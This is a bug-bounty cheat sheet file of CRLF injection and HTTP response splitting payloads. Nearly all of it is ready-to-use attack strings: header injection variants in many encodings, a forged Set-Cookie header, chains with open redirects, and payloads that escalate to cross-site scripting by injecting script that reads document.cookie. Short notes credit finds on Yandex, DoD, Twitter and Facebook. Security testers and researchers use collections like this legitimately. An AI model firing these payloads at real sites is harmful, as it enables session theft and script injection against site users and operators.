bugbounty-cheatsheet/cheatsheets/crlf.md

CRLF Injection || HTTP Response Splitting

%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

Header-based test, site root

%0d%0aheader:header

%0aheader:header

%0dheader:header

%23%0dheader:header

%3f%0dheader:header

/%250aheader:header

/%25250aheader:header

/%%0a0aheader:header

/%3f%0dheader:header

/%23%0dheader:header

/%25%30aheader:header

/%25%30%61header:header

/%u000aheader:header

CRLF chained with Open Redirect server misconfiguration

Note: This sometimes works. (Discovered in some Yandex sites, was not exploitable from the root.)

//www.google.com/%2f%2e%2e%0d%0aheader:header

/www.google.com/%2e%2e%2f%0d%0aheader:header

/google.com/%2F..%0d%0aheader:header

Twitter specific CRLF by @filedescriptor

%E5%98%8A%E5%98%8Dheader:header

CRLF Injection to XSS

%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

Response splitting on 302 Redirect, before Location header (Discovered in DoD)

%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

Response splitting on 301 code, chained with Open Redirect to corrupt location header and to break 301 by @black2fan (Facebook bug)

Note: xxx:1 was used for breaking open redirect destination (Location header). Great example how of to escalate CRLF to XSS on a such, it would seem, unexploitable 301 status code.

%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr